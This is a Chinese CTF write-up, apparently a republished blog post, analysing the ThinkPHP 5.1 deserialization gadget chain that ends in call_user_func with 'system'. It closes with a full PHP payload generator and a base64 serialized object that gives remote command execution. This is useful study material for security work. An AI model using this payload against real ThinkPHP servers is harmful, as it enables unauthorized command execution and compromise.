回看 newstarctf week 3 的web题
想了想看看tp链吧
这道题是tp5.1 的版本
链比5.0的 短而且清晰,基于我这个shaluan tp不知道为什么动态调试出了问题 ,就只能静态分析了
首先是定入口
这里5.0和5.1的入口都是一样的
think\process\pipes\Windows.php
他的destruct方法会依次调用其close 方法 和removeFiles 方法
close下没看出什么能利用的地方
这里有个file_exists方法和一个unlink方法 如果有反序列化入口的话 那么这里就是一个任意文件删除了,
反序列化中有个__toString的魔术方法 如果将有该方法的类当作字符串来调用 就会触发这个魔术方法 这里的file_exists 就会触发这个方法
搜一下这个方法这里可以全部点开看看发现只有第一个能有后续的操作
而且因为是漏洞分析所以可以明确指出是第一个类中的toString方法
来到这个Conversion.php中
看到这个方法调用了 toJson的方法
继续调用toArray的方法
在其中我们看到了这样的一个代码段
因为上面都没有return的操作 所以肯定会执行到这里
首先判断$this->append 是否为空
这个是我们可控的,在一开始反序列化的时候直接传进去就可以了
如果不为空 则把 这个键名 拿出来 看看
这个getRelation方法是如何传参的
在RelationShip.php下找到了这个方法 为什么是这两个类后面讲
看到如果我们不做其他操作是个空值
这样就会调用到getAttr方法
只有一个Attribute有进去看看
他下面是个return $value 所以看看这个 getData方法
这里这个 $name是存在的因为就是我们一开始传进去的键名
因此会调用第一个elseif
所以我们要在类中加一个 $data 的变量,也就是说这个
$relation是我们任意可控的了 然后会执行这个 visible的方法.
这里涉及到另一个魔术方法了 __call 如果调用了一个该类没有的方法那么会自动执行该类的__call方法
md有点多啊 ,这里需要找的是Request下面的call方法
这里如果有动态调试能更清晰的看出结构, 这边可以讲一下 这个 $method就是上面那个不存在的visible方法
因此return 里面的方法是我们可控的 这个Request下有一个input 方法是之前惯用的恶意方法了
但是直接调用input 里面的参数是我们不可控的
在这个类中我们找到了isAjax的方法
他会调用 param的方法
看到 下面参数获取
$this->get 获取get请求的参数
后调用input
因此这个
$data实际就是 $_GET 获取的参数 在看看getFilter
获取了 $this->filter 因此这里也是可控
着两个if都会调用filterValue 方法 一个是递归调用 一个调用一次
call_user_func 调用 $filter 方法 将 $value 作为参数
也就是说这里可以执行任意命令了
到这整条链就结束了下面直接手撸链吧
这里跟大家讲讲为什么会选 Conversion类 以及RelationShip类
这两个类的定义都是trait,因此不能直接作为反序列化的引用我们需要去找哪个类调用过他们 ,最后结果还是那个令人眼熟的Model类
Model类是个抽象类因此需要去找一个实现它的类
在5.0的版本中 有两个 一个是Merge 一个是Pivot
5.1中只剩个Pivot了
因此整条链的逻辑就出来了
destruct()->removeFiles()->toString()->toJson()->toArray()->__call()->isAjax()->param()->input()->filterValue()->rce文章来源:https://www.toymoban.com/news/detail-488777.html
<?php
//命名空间一定要写不然它反序列化自己找不到这个类
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
private $files;
function __construct(){
$this->files[]=new Pivot();
}
}
namespace think\model\concern;
trait Conversion{}
namespace think;
abstract class Model{
use model\concern\Conversion;
protected $append ;
protected $data ;
function __construct(){
//这个只是为了进if循环然后两次的键值要对上管你怎么写都行
$this->append=array('ctfstar'=>['1']);
$this->data=array('ctfstar'=>new Request());
}
}
namespace think;
class Request{
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $filter;
protected $hook = [];
function __construct(){
$this->hook=array('visible'=>[$this,'isAjax']);
//call_user_func_array($this->hook[$method], $args);
//这个的经典写法了前面是类后面是方法
$this->config=array('var_ajax'=>'');
$this->filter='system';
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoxOiJhIjthOjE6e2k6MDtzOjE6IjEiO319czo3OiIAKgBkYXRhIjthOjE6e3M6MToiYSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czowOiIiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319fX19fX0=
然后回到buu上起一个靶机测试一下是否成功
这个get传参的键名也随便传都ok的因为是从get里面取出来的,然后传多少个执行多少个
这是tp5.1的链 相较于5.0的两条算是流程较短的了文章来源地址https://www.toymoban.com/news/detail-488777.html
到了这里,关于基于一道ctf 引发的 TP链分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!